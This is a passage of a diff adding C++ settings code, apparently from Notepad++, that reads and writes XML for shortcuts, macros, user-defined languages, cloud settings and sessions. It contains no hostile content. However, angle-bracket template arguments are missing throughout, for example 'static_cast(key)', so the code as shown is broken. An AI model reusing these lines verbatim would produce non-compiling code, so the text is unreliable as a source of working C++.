(lstrcmp(TEXT("yes"), boolStr) == 0); + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("fifFolderFollowsDoc")); + if (boolStr) + _findHistory._isFolderFollowDoc = (lstrcmp(TEXT("yes"), boolStr) == 0); + + int mode = 0; + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("searchMode"), &mode); + if (boolStr) + _findHistory._searchMode = (FindHistory::searchMode)mode; + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("transparencyMode"), &mode); + if (boolStr) + _findHistory._transparencyMode = (FindHistory::transparencyMode)mode; + + (findHistoryRoot->ToElement())->Attribute(TEXT("transparency"), &_findHistory._transparency); + if (_findHistory._transparency <= 0 || _findHistory._transparency > 200) + _findHistory._transparency = 150; + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("dotMatchesNewline")); + if (boolStr) + _findHistory._dotMatchesNewline = (lstrcmp(TEXT("yes"), boolStr) == 0); +} + +void NppParameters::feedShortcut(TiXmlNode *node) +{ + TiXmlNode *shortcutsRoot = node->FirstChildElement(TEXT("InternalCommands")); + if (!shortcutsRoot) return; + + for (TiXmlNode *childNode = shortcutsRoot->FirstChildElement(TEXT("Shortcut")); + childNode ; + childNode = childNode->NextSibling(TEXT("Shortcut")) ) + { + int id; + const TCHAR *idStr = (childNode->ToElement())->Attribute(TEXT("id"), &id); + if (idStr) + { + //find the commandid that matches this Shortcut sc and alter it, push back its index in the modified list, if not present + size_t len = _shortcuts.size(); + for(size_t i = 0; i < len; ++i) + { + if (_shortcuts[i].getID() == (unsigned long)id) + { //found our match + getShortcuts(childNode, _shortcuts[i]); + addUserModifiedIndex(i); + } + } + } + } +} + +void NppParameters::feedMacros(TiXmlNode *node) +{ + TiXmlNode *macrosRoot = node->FirstChildElement(TEXT("Macros")); + if (!macrosRoot) return; + + for (TiXmlNode *childNode = macrosRoot->FirstChildElement(TEXT("Macro")); + childNode ; + childNode = childNode->NextSibling(TEXT("Macro")) ) + { + Shortcut sc; + if (getShortcuts(childNode, sc))// && sc.isValid()) + { + Macro macro; + getActions(childNode, macro); + int cmdID = ID_MACRO + static_cast(_macros.size()); + MacroShortcut ms(sc, macro, cmdID); + _macros.push_back(ms); + } + } +} + + +void NppParameters::getActions(TiXmlNode *node, Macro & macro) +{ + for (TiXmlNode *childNode = node->FirstChildElement(TEXT("Action")); + childNode ; + childNode = childNode->NextSibling(TEXT("Action")) ) + { + int type; + const TCHAR *typeStr = (childNode->ToElement())->Attribute(TEXT("type"), &type); + if ((!typeStr) || (type > 3)) + continue; + + int msg = 0; + (childNode->ToElement())->Attribute(TEXT("message"), &msg); + + int wParam = 0; + (childNode->ToElement())->Attribute(TEXT("wParam"), &wParam); + + int lParam = 0; + (childNode->ToElement())->Attribute(TEXT("lParam"), &lParam); + + const TCHAR *sParam = (childNode->ToElement())->Attribute(TEXT("sParam")); + if (!sParam) + sParam = TEXT(""); + recordedMacroStep step(msg, wParam, lParam, sParam, type); + if (step.isValid()) + macro.push_back(step); + + } +} + +void NppParameters::feedUserCmds(TiXmlNode *node) +{ + TiXmlNode *userCmdsRoot = node->FirstChildElement(TEXT("UserDefinedCommands")); + if (!userCmdsRoot) return; + + for (TiXmlNode *childNode = userCmdsRoot->FirstChildElement(TEXT("Command")); + childNode ; + childNode = childNode->NextSibling(TEXT("Command")) ) + { + Shortcut sc; + if (getShortcuts(childNode, sc)) + { + TiXmlNode *aNode = childNode->FirstChild(); + if (aNode) + { + const TCHAR *cmdStr = aNode->Value(); + if (cmdStr) + { + int cmdID = ID_USER_CMD + static_cast(_userCommands.size()); + UserCommand uc(sc, cmdStr, cmdID); + _userCommands.push_back(uc); + } + } + } + } +} + +void NppParameters::feedPluginCustomizedCmds(TiXmlNode *node) +{ + TiXmlNode *pluginCustomizedCmdsRoot = node->FirstChildElement(TEXT("PluginCommands")); + if (!pluginCustomizedCmdsRoot) return; + + for (TiXmlNode *childNode = pluginCustomizedCmdsRoot->FirstChildElement(TEXT("PluginCommand")); + childNode ; + childNode = childNode->NextSibling(TEXT("PluginCommand")) ) + { + const TCHAR *moduleName = (childNode->ToElement())->Attribute(TEXT("moduleName")); + if (!moduleName) + continue; + + int internalID = -1; + const TCHAR *internalIDStr = (childNode->ToElement())->Attribute(TEXT("internalID"), &internalID); + + if (!internalIDStr) + continue; + + //Find the corresponding plugincommand and alter it, put the index in the list + size_t len = _pluginCommands.size(); + for(size_t i = 0; i < len; ++i) + { + PluginCmdShortcut & pscOrig = _pluginCommands[i]; + if (!generic_strnicmp(pscOrig.getModuleName(), moduleName, lstrlen(moduleName)) && pscOrig.getInternalID() == internalID) + { + //Found matching command + getShortcuts(childNode, _pluginCommands[i]); + addPluginModifiedIndex(i); + break; + } + } + } +} + +void NppParameters::feedScintKeys(TiXmlNode *node) +{ + TiXmlNode *scintKeysRoot = node->FirstChildElement(TEXT("ScintillaKeys")); + if (!scintKeysRoot) return; + + for (TiXmlNode *childNode = scintKeysRoot->FirstChildElement(TEXT("ScintKey")); + childNode ; + childNode = childNode->NextSibling(TEXT("ScintKey")) ) + { + int scintKey; + const TCHAR *keyStr = (childNode->ToElement())->Attribute(TEXT("ScintID"), &scintKey); + if (!keyStr) + continue; + + int menuID; + keyStr = (childNode->ToElement())->Attribute(TEXT("menuCmdID"), &menuID); + if (!keyStr) + continue; + + //Find the corresponding scintillacommand and alter it, put the index in the list + size_t len = _scintillaKeyCommands.size(); + for (int32_t i = 0; i < static_cast(len); ++i) + { + ScintillaKeyMap & skmOrig = _scintillaKeyCommands[i]; + if (skmOrig.getScintillaKeyID() == (unsigned long)scintKey && skmOrig.getMenuCmdID() == menuID) + { + //Found matching command + _scintillaKeyCommands[i].clearDups(); + getShortcuts(childNode, _scintillaKeyCommands[i]); + _scintillaKeyCommands[i].setKeyComboByIndex(0, _scintillaKeyCommands[i].getKeyCombo()); + addScintillaModifiedIndex(i); + KeyCombo kc; + for (TiXmlNode *nextNode = childNode->FirstChildElement(TEXT("NextKey")); + nextNode ; + nextNode = nextNode->NextSibling(TEXT("NextKey"))) + { + const TCHAR *str = (nextNode->ToElement())->Attribute(TEXT("Ctrl")); + if (!str) + continue; + kc._isCtrl = (lstrcmp(TEXT("yes"), str) == 0); + + str = (nextNode->ToElement())->Attribute(TEXT("Alt")); + if (!str) + continue; + kc._isAlt = (lstrcmp(TEXT("yes"), str) == 0); + + str = (nextNode->ToElement())->Attribute(TEXT("Shift")); + if (!str) + continue; + kc._isShift = (lstrcmp(TEXT("yes"), str) == 0); + + int key; + str = (nextNode->ToElement())->Attribute(TEXT("Key"), &key); + if (!str) + continue; + kc._key = static_cast(key); + _scintillaKeyCommands[i].addKeyCombo(kc); + } + break; + } + } + } +} + +bool NppParameters::feedBlacklist(TiXmlNode *node) +{ + TiXmlNode *blackListRoot = node->FirstChildElement(TEXT("PluginBlackList")); + if (!blackListRoot) return false; + + for (TiXmlNode *childNode = blackListRoot->FirstChildElement(TEXT("Plugin")); + childNode ; + childNode = childNode->NextSibling(TEXT("Plugin")) ) + { + const TCHAR *name = (childNode->ToElement())->Attribute(TEXT("name")); + if (name) + { + _blacklist.push_back(name); + } + } + return true; +} + +bool NppParameters::getShortcuts(TiXmlNode *node, Shortcut & sc) +{ + if (!node) return false; + + const TCHAR *name = (node->ToElement())->Attribute(TEXT("name")); + if (!name) + name = TEXT(""); + + bool isCtrl = false; + const TCHAR *isCtrlStr = (node->ToElement())->Attribute(TEXT("Ctrl")); + if (isCtrlStr) + isCtrl = (lstrcmp(TEXT("yes"), isCtrlStr) == 0); + + bool isAlt = false; + const TCHAR *isAltStr = (node->ToElement())->Attribute(TEXT("Alt")); + if (isAltStr) + isAlt = (lstrcmp(TEXT("yes"), isAltStr) == 0); + + bool isShift = false; + const TCHAR *isShiftStr = (node->ToElement())->Attribute(TEXT("Shift")); + if (isShiftStr) + isShift = (lstrcmp(TEXT("yes"), isShiftStr) == 0); + + int key; + const TCHAR *keyStr = (node->ToElement())->Attribute(TEXT("Key"), &key); + if (!keyStr) + return false; + + sc = Shortcut(name, isCtrl, isAlt, isShift, static_cast(key)); + return true; +} + + +bool NppParameters::feedUserLang(TiXmlNode *node) +{ + bool isEverythingOK = true; + bool hasFoundElement = false; + + for (TiXmlNode *childNode = node->FirstChildElement(TEXT("UserLang")); + childNode && (_nbUserLang < NB_MAX_USER_LANG); + childNode = childNode->NextSibling(TEXT("UserLang")) ) + { + const TCHAR *name = (childNode->ToElement())->Attribute(TEXT("name")); + const TCHAR *ext = (childNode->ToElement())->Attribute(TEXT("ext")); + const TCHAR *udlVersion = (childNode->ToElement())->Attribute(TEXT("udlVersion")); + hasFoundElement = true; + try { + if (!name || !name[0] || !ext) + throw std::runtime_error("NppParameters::feedUserLang : UserLang name is missing"); + + if (!udlVersion) + _userLangArray[_nbUserLang] = new UserLangContainer(name, ext, TEXT("")); + else + _userLangArray[_nbUserLang] = new UserLangContainer(name, ext, udlVersion); + ++_nbUserLang; + + TiXmlNode *settingsRoot = childNode->FirstChildElement(TEXT("Settings")); + if (!settingsRoot) + throw std::runtime_error("NppParameters::feedUserLang : Settings node is missing"); + + feedUserSettings(settingsRoot); + + TiXmlNode *keywordListsRoot = childNode->FirstChildElement(TEXT("KeywordLists")); + if (!keywordListsRoot) + throw std::runtime_error("NppParameters::feedUserLang : KeywordLists node is missing"); + + feedUserKeywordList(keywordListsRoot); + + TiXmlNode *stylesRoot = childNode->FirstChildElement(TEXT("Styles")); + if (!stylesRoot) + throw std::runtime_error("NppParameters::feedUserLang : Styles node is missing"); + + feedUserStyles(stylesRoot); + + // styles that were not read from xml file should get default values + for (int i=0; i_styleArray.getStyler(i); + if (style._styleID == -1) + _userLangArray[_nbUserLang - 1]->_styleArray.addStyler(i, globalMappper().styleNameMapper[i].c_str()); + } + + } catch (std::exception e) { + delete _userLangArray[--_nbUserLang]; + isEverythingOK = false; + } + } + if (isEverythingOK) + isEverythingOK = hasFoundElement; + return isEverythingOK; +} + +bool NppParameters::importUDLFromFile(generic_string sourceFile) +{ + if (_nbImportedULD >= NB_MAX_IMPORTED_UDL) + return false; + + TiXmlDocument *pXmlUserLangDoc = new TiXmlDocument(sourceFile); + bool loadOkay = pXmlUserLangDoc->LoadFile(); + if (loadOkay) + { + loadOkay = getUserDefineLangsFromXmlTree(pXmlUserLangDoc); + } + _importedULD[_nbImportedULD++] = pXmlUserLangDoc; + return loadOkay; +} + +bool NppParameters::exportUDLToFile(size_t langIndex2export, generic_string fileName2save) +{ + if (langIndex2export >= NB_MAX_USER_LANG) + return false; + + if (static_cast(langIndex2export) >= _nbUserLang) + return false; + + TiXmlDocument *pNewXmlUserLangDoc = new TiXmlDocument(fileName2save); + TiXmlNode *newRoot2export = pNewXmlUserLangDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + + insertUserLang2Tree(newRoot2export, _userLangArray[langIndex2export]); + bool result = pNewXmlUserLangDoc->SaveFile(); + + delete pNewXmlUserLangDoc; + return result; +} + +LangType NppParameters::getLangFromExt(const TCHAR *ext) +{ + int i = getNbLang(); + i--; + while (i >= 0) + { + Lang *l = getLangFromIndex(i--); + + const TCHAR *defList = l->getDefaultExtList(); + const TCHAR *userList = NULL; + + LexerStylerArray &lsa = getLStylerArray(); + const TCHAR *lName = l->getLangName(); + LexerStyler *pLS = lsa.getLexerStylerByName(lName); + + if (pLS) + userList = pLS->getLexerUserExt(); + + generic_string list; + if (defList) + list += defList; + + if (userList) + { + list += TEXT(" "); + list += userList; + } + if (isInList(ext, list.c_str())) + return l->getLangID(); + } + return L_TEXT; +} + +void NppParameters::setCloudChoice(const TCHAR *pathChoice) +{ + generic_string cloudChoicePath = getSettingsFolder(); + cloudChoicePath += TEXT("\\cloud\\"); + + if (!PathFileExists(cloudChoicePath.c_str())) + { + ::CreateDirectory(cloudChoicePath.c_str(), NULL); + } + cloudChoicePath += TEXT("choice"); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + std::string cloudPathA = wmc->wchar2char(pathChoice, SC_CP_UTF8); + + writeFileContent(cloudChoicePath.c_str(), cloudPathA.c_str()); +} + +void NppParameters::removeCloudChoice() +{ + generic_string cloudChoicePath = getSettingsFolder(); + + cloudChoicePath += TEXT("\\cloud\\choice"); + if (PathFileExists(cloudChoicePath.c_str())) + { + ::DeleteFile(cloudChoicePath.c_str()); + } +} + +bool NppParameters::isCloudPathChanged() const +{ + if (_initialCloudChoice == _nppGUI._cloudPath) + return false; + else if (_initialCloudChoice.size() - _nppGUI._cloudPath.size() == 1) + { + TCHAR c = _initialCloudChoice.at(_initialCloudChoice.size()-1); + if (c == '\\' || c == '/') + { + if (_initialCloudChoice.find(_nppGUI._cloudPath) == 0) + return false; + } + } + else if (_nppGUI._cloudPath.size() - _initialCloudChoice.size() == 1) + { + TCHAR c = _nppGUI._cloudPath.at(_nppGUI._cloudPath.size() - 1); + if (c == '\\' || c == '/') + { + if (_nppGUI._cloudPath.find(_initialCloudChoice) == 0) + return false; + } + } + return true; +} + +bool NppParameters::writeSettingsFilesOnCloudForThe1stTime(const generic_string & cloudSettingsPath) +{ + bool isOK = false; + + if (cloudSettingsPath.empty()) + return false; + + // config.xml + generic_string cloudConfigPath = cloudSettingsPath; + PathAppend(cloudConfigPath, TEXT("config.xml")); + if (!::PathFileExists(cloudConfigPath.c_str()) && _pXmlUserDoc) + { + isOK = _pXmlUserDoc->SaveFile(cloudConfigPath.c_str()); + if (!isOK) + return false; + } + + // stylers.xml + generic_string cloudStylersPath = cloudSettingsPath; + PathAppend(cloudStylersPath, TEXT("stylers.xml")); + if (!::PathFileExists(cloudStylersPath.c_str()) && _pXmlUserStylerDoc) + { + isOK = _pXmlUserStylerDoc->SaveFile(cloudStylersPath.c_str()); + if (!isOK) + return false; + } + + // langs.xml + generic_string cloudLangsPath = cloudSettingsPath; + PathAppend(cloudLangsPath, TEXT("langs.xml")); + if (!::PathFileExists(cloudLangsPath.c_str()) && _pXmlUserDoc) + { + isOK = _pXmlDoc->SaveFile(cloudLangsPath.c_str()); + if (!isOK) + return false; + } +/* + // session.xml: Session stock the absolute file path, it should never be on cloud + generic_string cloudSessionPath = cloudSettingsPath; + PathAppend(cloudSessionPath, TEXT("session.xml")); + if (!::PathFileExists(cloudSessionPath.c_str()) && _pXmlSessionDoc) + { + _pXmlSessionDoc->SaveFile(cloudSessionPath.c_str()); + } +*/ + // userDefineLang.xml + generic_string cloudUserLangsPath = cloudSettingsPath; + PathAppend(cloudUserLangsPath, TEXT("userDefineLang.xml")); + if (!::PathFileExists(cloudUserLangsPath.c_str()) && _pXmlUserLangDoc) + { + isOK = _pXmlUserLangDoc->SaveFile(cloudUserLangsPath.c_str()); + if (!isOK) + return false; + } + + // shortcuts.xml + generic_string cloudShortcutsPath = cloudSettingsPath; + PathAppend(cloudShortcutsPath, TEXT("shortcuts.xml")); + if (!::PathFileExists(cloudShortcutsPath.c_str()) && _pXmlShortcutDoc) + { + isOK = _pXmlShortcutDoc->SaveFile(cloudShortcutsPath.c_str()); + if (!isOK) + return false; + } + + // contextMenu.xml + generic_string cloudContextMenuPath = cloudSettingsPath; + PathAppend(cloudContextMenuPath, TEXT("contextMenu.xml")); + if (!::PathFileExists(cloudContextMenuPath.c_str()) && _pXmlContextMenuDocA) + { + isOK = _pXmlContextMenuDocA->SaveUnicodeFilePath(cloudContextMenuPath.c_str()); + if (!isOK) + return false; + } + + // nativeLang.xml + generic_string cloudNativeLangPath = cloudSettingsPath; + PathAppend(cloudNativeLangPath, TEXT("nativeLang.xml")); + if (!::PathFileExists(cloudNativeLangPath.c_str()) && _pXmlNativeLangDocA) + { + isOK = _pXmlNativeLangDocA->SaveUnicodeFilePath(cloudNativeLangPath.c_str()); + if (!isOK) + return false; + } + + /* + // functionList.xml + generic_string cloudFunctionListPath = cloudSettingsPath; + PathAppend(cloudFunctionListPath, TEXT("functionList.xml")); + if (!::PathFileExists(cloudFunctionListPath.c_str())) + { + + } + */ + return true; +} + + +void NppParameters::writeUserDefinedLang() +{ + if (!_pXmlUserLangDoc) + { + //do the treatment + _pXmlUserLangDoc = new TiXmlDocument(_userDefineLangPath); + } + + //before remove the branch, we allocate and copy the TCHAR * which will be destroyed + stylerStrOp(DUP); + + TiXmlNode *root = _pXmlUserLangDoc->FirstChild(TEXT("NotepadPlus")); + if (root) + { + _pXmlUserLangDoc->RemoveChild(root); + } + + _pXmlUserLangDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + + root = _pXmlUserLangDoc->FirstChild(TEXT("NotepadPlus")); + + for (int i = 0 ; i < _nbUserLang ; ++i) + { + insertUserLang2Tree(root, _userLangArray[i]); + } + _pXmlUserLangDoc->SaveFile(); + stylerStrOp(FREE); +} + + +void NppParameters::insertCmd(TiXmlNode *shortcutsRoot, const CommandShortcut & cmd) +{ + const KeyCombo & key = cmd.getKeyCombo(); + TiXmlNode *sc = shortcutsRoot->InsertEndChild(TiXmlElement(TEXT("Shortcut"))); + sc->ToElement()->SetAttribute(TEXT("id"), cmd.getID()); + sc->ToElement()->SetAttribute(TEXT("Ctrl"), key._isCtrl?TEXT("yes"):TEXT("no")); + sc->ToElement()->SetAttribute(TEXT("Alt"), key._isAlt?TEXT("yes"):TEXT("no")); + sc->ToElement()->SetAttribute(TEXT("Shift"), key._isShift?TEXT("yes"):TEXT("no")); + sc->ToElement()->SetAttribute(TEXT("Key"), key._key); +} + + +void NppParameters::insertMacro(TiXmlNode *macrosRoot, const MacroShortcut & macro) +{ + const KeyCombo & key = macro.getKeyCombo(); + TiXmlNode *macroRoot = macrosRoot->InsertEndChild(TiXmlElement(TEXT("Macro"))); + macroRoot->ToElement()->SetAttribute(TEXT("name"), macro.getMenuName()); + macroRoot->ToElement()->SetAttribute(TEXT("Ctrl"), key._isCtrl?TEXT("yes"):TEXT("no")); + macroRoot->ToElement()->SetAttribute(TEXT("Alt"), key._isAlt?TEXT("yes"):TEXT("no")); + macroRoot->ToElement()->SetAttribute(TEXT("Shift"), key._isShift?TEXT("yes"):TEXT("no")); + macroRoot->ToElement()->SetAttribute(TEXT("Key"), key._key); + + for (size_t i = 0, len = macro._macro.size(); i < len ; ++i) + { + TiXmlNode *actionNode = macroRoot->InsertEndChild(TiXmlElement(TEXT("Action"))); + const recordedMacroStep & action = macro._macro[i]; + actionNode->ToElement()->SetAttribute(TEXT("type"), action._macroType); + actionNode->ToElement()->SetAttribute(TEXT("message"), action._message); + actionNode->ToElement()->SetAttribute(TEXT("wParam"), static_cast(action._wParameter)); + actionNode->ToElement()->SetAttribute(TEXT("lParam"), static_cast(action._lParameter)); + actionNode->ToElement()->SetAttribute(TEXT("sParam"), action._sParameter.c_str()); + } +} + + +void NppParameters::insertUserCmd(TiXmlNode *userCmdRoot, const UserCommand & userCmd) +{ + const KeyCombo & key = userCmd.getKeyCombo(); + TiXmlNode *cmdRoot = userCmdRoot->InsertEndChild(TiXmlElement(TEXT("Command"))); + cmdRoot->ToElement()->SetAttribute(TEXT("name"), userCmd.getMenuName()); + cmdRoot->ToElement()->SetAttribute(TEXT("Ctrl"), key._isCtrl?TEXT("yes"):TEXT("no")); + cmdRoot->ToElement()->SetAttribute(TEXT("Alt"), key._isAlt?TEXT("yes"):TEXT("no")); + cmdRoot->ToElement()->SetAttribute(TEXT("Shift"), key._isShift?TEXT("yes"):TEXT("no")); + cmdRoot->ToElement()->SetAttribute(TEXT("Key"), key._key); + cmdRoot->InsertEndChild(TiXmlText(userCmd._cmd.c_str())); +} + + +void NppParameters::insertPluginCmd(TiXmlNode *pluginCmdRoot, const PluginCmdShortcut & pluginCmd) +{ + const KeyCombo & key = pluginCmd.getKeyCombo(); + TiXmlNode *pluginCmdNode = pluginCmdRoot->InsertEndChild(TiXmlElement(TEXT("PluginCommand"))); + pluginCmdNode->ToElement()->SetAttribute(TEXT("moduleName"), pluginCmd.getModuleName()); + pluginCmdNode->ToElement()->SetAttribute(TEXT("internalID"), pluginCmd.getInternalID()); + pluginCmdNode->ToElement()->SetAttribute(TEXT("Ctrl"), key._isCtrl?TEXT("yes"):TEXT("no")); + pluginCmdNode->ToElement()->SetAttribute(TEXT("Alt"), key._isAlt?TEXT("yes"):TEXT("no")); + pluginCmdNode->ToElement()->SetAttribute(TEXT("Shift"), key._isShift?TEXT("yes"):TEXT("no")); + pluginCmdNode->ToElement()->SetAttribute(TEXT("Key"), key._key); +} + + +void NppParameters::insertScintKey(TiXmlNode *scintKeyRoot, const ScintillaKeyMap & scintKeyMap) +{ + TiXmlNode *keyRoot = scintKeyRoot->InsertEndChild(TiXmlElement(TEXT("ScintKey"))); + keyRoot->ToElement()->SetAttribute(TEXT("ScintID"), scintKeyMap.getScintillaKeyID()); + keyRoot->ToElement()->SetAttribute(TEXT("menuCmdID"), scintKeyMap.getMenuCmdID()); + + //Add main shortcut + KeyCombo key = scintKeyMap.getKeyComboByIndex(0); + keyRoot->ToElement()->SetAttribute(TEXT("Ctrl"), key._isCtrl?TEXT("yes"):TEXT("no")); + keyRoot->ToElement()->SetAttribute(TEXT("Alt"), key._isAlt?TEXT("yes"):TEXT("no")); + keyRoot->ToElement()->SetAttribute(TEXT("Shift"), key._isShift?TEXT("yes"):TEXT("no")); + keyRoot->ToElement()->SetAttribute(TEXT("Key"), key._key); + + //Add additional shortcuts + size_t size = scintKeyMap.getSize(); + if (size > 1) + { + for (size_t i = 1; i < size; ++i) + { + TiXmlNode *keyNext = keyRoot->InsertEndChild(TiXmlElement(TEXT("NextKey"))); + key = scintKeyMap.getKeyComboByIndex(i); + keyNext->ToElement()->SetAttribute(TEXT("Ctrl"), key._isCtrl?TEXT("yes"):TEXT("no")); + keyNext->ToElement()->SetAttribute(TEXT("Alt"), key._isAlt?TEXT("yes"):TEXT("no")); + keyNext->ToElement()->SetAttribute(TEXT("Shift"), key._isShift?TEXT("yes"):TEXT("no")); + keyNext->ToElement()->SetAttribute(TEXT("Key"), key._key); + } + } +} + + +void NppParameters::writeSession(const Session & session, const TCHAR *fileName) +{ + const TCHAR *pathName = fileName?fileName:_sessionPath.c_str(); + + _pXmlSessionDoc = new TiXmlDocument(pathName); + TiXmlNode *root = _pXmlSessionDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + + if (root) + { + TiXmlNode *sessionNode = root->InsertEndChild(TiXmlElement(TEXT("Session"))); + (sessionNode->ToElement())->SetAttribute(TEXT("activeView"), static_cast(session._activeView)); + + struct ViewElem { + TiXmlNode *viewNode; + vector *viewFiles; + size_t activeIndex; + }; + const int nbElem = 2; + ViewElem viewElems[nbElem]; + viewElems[0].viewNode = sessionNode->InsertEndChild(TiXmlElement(TEXT("mainView"))); + viewElems[1].viewNode = sessionNode->InsertEndChild(TiXmlElement(TEXT("subView"))); + viewElems[0].viewFiles = (vector *)(&(session._mainViewFiles)); + viewElems[1].viewFiles = (vector *)(&(session._subViewFiles)); + viewElems[0].activeIndex = session._activeMainIndex; + viewElems[1].activeIndex = session._activeSubIndex; + + for (size_t k = 0; k < nbElem ; ++k) + { + (viewElems[k].viewNode->ToElement())->SetAttribute(TEXT("activeIndex"), static_cast(viewElems[k].activeIndex)); + vector & viewSessionFiles = *(viewElems[k].viewFiles); + + for (size_t i = 0, len = viewElems[k].viewFiles->size(); i < len ; ++i) + { + TiXmlNode *fileNameNode = viewElems[k].viewNode->InsertEndChild(TiXmlElement(TEXT("File"))); + + (fileNameNode->ToElement())->SetAttribute(TEXT("firstVisibleLine"), viewSessionFiles[i]._firstVisibleLine); + (fileNameNode->ToElement())->SetAttribute(TEXT("xOffset"), viewSessionFiles[i]._xOffset); + (fileNameNode->ToElement())->SetAttribute(TEXT("scrollWidth"), viewSessionFiles[i]._scrollWidth); + (fileNameNode->ToElement())->SetAttribute(TEXT("startPos"), viewSessionFiles[i]._startPos); + (fileNameNode->ToElement())->SetAttribute(TEXT("endPos"), viewSessionFiles[i]._endPos); + (fileNameNode->ToElement())->SetAttribute(TEXT("selMode"), viewSessionFiles[i]._selMode); + (fileNameNode->ToElement())->SetAttribute(TEXT("lang"), viewSessionFiles[i]._langName.c_str()); + (fileNameNode->ToElement())->SetAttribute(TEXT("encoding"), viewSessionFiles[i]._encoding); + (fileNameNode->ToElement())->SetAttribute(TEXT("filename"), viewSessionFiles[i]._fileName.c_str()); + (fileNameNode->ToElement())->SetAttribute(TEXT("backupFilePath"), viewSessionFiles[i]._backupFilePath.c_str()); + (fileNameNode->ToElement())->SetAttribute(TEXT("originalFileLastModifTimestamp"), static_cast(viewSessionFiles[i]._originalFileLastModifTimestamp)); + + // docMap + (fileNameNode->ToElement())->SetAttribute(TEXT("mapFirstVisibleDisplayLine"), viewSessionFiles[i]._mapPos._firstVisibleDisplayLine); + (fileNameNode->ToElement())->SetAttribute(TEXT("mapFirstVisibleDocLine"), viewSessionFiles[i]._mapPos._firstVisibleDocLine); + (fileNameNode->ToElement())->SetAttribute(TEXT("mapLastVisibleDocLine"), viewSessionFiles[i]._mapPos._lastVisibleDocLine); + (fileNameNode->ToElement())->SetAttribute(TEXT("mapNbLine"), viewSessionFiles[i]._mapPos._nbLine); + (fileNameNode->ToElement())->SetAttribute(TEXT("mapHigherPos"), viewSessionFiles[i]._mapPos._higherPos); + (fileNameNode->ToElement())->SetAttribute(TEXT("mapWidth"), viewSessionFiles[i]._mapPos._width); + (fileNameNode->ToElement())->SetAttribute(TEXT("mapHeight"), viewSessionFiles[i]._mapPos._height); + (fileNameNode->ToElement())->SetAttribute(TEXT("mapKByteInDoc"), static_cast(viewSessionFiles[i]._mapPos._KByteInDoc)); + (fileNameNode->ToElement())->SetAttribute(TEXT("mapWrapIndentMode"), viewSessionFiles[i]._mapPos._wrapIndentMode); + fileNameNode->ToElement()->SetAttribute(TEXT("mapIsWrap"), viewSessionFiles[i]._mapPos._isWrap ? TEXT("yes") : TEXT("no")); + + for (size_t j = 0, len = viewSessionFiles[i]._marks.size() ; j < len ; ++j) + { + size_t markLine = viewSessionFiles[i]._marks[j]; + TiXmlNode *markNode = fileNameNode->InsertEndChild(TiXmlElement(TEXT("Mark"))); + markNode->ToElement()->SetAttribute(TEXT("line"), static_cast(markLine)); + } + + for (size_t j = 0, len = viewSessionFiles[i]._foldStates.size() ; j < len ; ++j) + { + size_t foldLine = viewSessionFiles[i]._foldStates[j]; + TiXmlNode *foldNode = fileNameNode->InsertEndChild(TiXmlElement(TEXT("Fold"))); + foldNode->ToElement()->SetAttribute(TEXT("line"), static_cast(foldLine)); + } + } + } + } + _pXmlSessionDoc->SaveFile(); +} + + +void NppParameters::writeShortcuts() +{ + if (not _isAnyShortcutModified) return; + + if (not _pXmlShortcutDoc) + { + //do the treatment + _pXmlShortcutDoc = new TiXmlDocument(_shortcutsPath); + } + + TiXmlNode *root = _pXmlShortcutDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) + { + root = _pXmlShortcutDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + } + + TiXmlNode *cmdRoot = root->FirstChild(TEXT("InternalCommands")); + if (cmdRoot) + root->RemoveChild(cmdRoot); + + cmdRoot = root->InsertEndChild(TiXmlElement(TEXT("InternalCommands"))); + for (size_t i = 0, len = _customizedShortcuts.size(); i < len ; ++i) + { + size_t index = _customizedShortcuts[i]; + CommandShortcut csc = _shortcuts[index]; + insertCmd(cmdRoot, csc); + } + + TiXmlNode *macrosRoot = root->FirstChild(TEXT("Macros")); + if (macrosRoot) + root->RemoveChild(macrosRoot); + + macrosRoot = root->InsertEndChild(TiXmlElement(TEXT("Macros"))); + + for (size_t i = 0, len = _macros.size(); i < len ; ++i) + { + insertMacro(macrosRoot, _macros[i]); + } + + TiXmlNode *userCmdRoot = root->FirstChild(TEXT("UserDefinedCommands")); + if (userCmdRoot) + root->RemoveChild(userCmdRoot); + + userCmdRoot = root->InsertEndChild(TiXmlElement(TEXT("UserDefinedCommands"))); + + for (size_t i = 0, len = _userCommands.size(); i < len ; ++i) + { + insertUserCmd(userCmdRoot, _userCommands[i]); + } + + TiXmlNode *pluginCmdRoot = root->FirstChild(TEXT("PluginCommands")); + if (pluginCmdRoot) + root->RemoveChild(pluginCmdRoot); + + pluginCmdRoot = root->InsertEndChild(TiXmlElement(TEXT("PluginCommands"))); + for (size_t i = 0, len = _pluginCustomizedCmds.size(); i < len ; ++i) + { + insertPluginCmd(pluginCmdRoot, _pluginCommands[_pluginCustomizedCmds[i]]); + } + + TiXmlNode *scitillaKeyRoot = root->FirstChild(TEXT("ScintillaKeys")); + if (scitillaKeyRoot) + root->RemoveChild(scitillaKeyRoot); + + scitillaKeyRoot = root->InsertEndChild(TiXmlElement(TEXT("ScintillaKeys"))); + for (size_t i = 0, len = _scintillaModifiedKeyIndices.size(); i < len ; ++i) + { + insertScintKey(scitillaKeyRoot, _scintillaKeyCommands[_scintillaModifiedKeyIndices[i]]); + } + _pXmlShortcutDoc->SaveFile(); +} + + +int NppParameters::addUserLangToEnd(const UserLangContainer & userLang, const TCHAR *newName) +{ + if (isExistingUserLangName(newName)) + return -1; + + _userLangArray[_nbUserLang] = new UserLangContainer(); + *(_userLangArray[_nbUserLang]) = userLang; + _userLangArray[_nbUserLang]->_name = newName; + ++_nbUserLang; + return _nbUserLang-1; +} + + +void NppParameters::removeUserLang(size_t index) +{ + if (static_cast(index) >= _nbUserLang) + return; + delete _userLangArray[index]; + + for (int32_t i = static_cast(index); i < (_nbUserLang - 1); ++i) + _userLangArray[i] = _userLangArray[i+1]; + _nbUserLang--; +} + + +void NppParameters::feedUserSettings(TiXmlNode *settingsRoot) +{ + const TCHAR *boolStr; + TiXmlNode *globalSettingNode = settingsRoot->FirstChildElement(TEXT("Global")); + if (globalSettingNode) + { + boolStr = 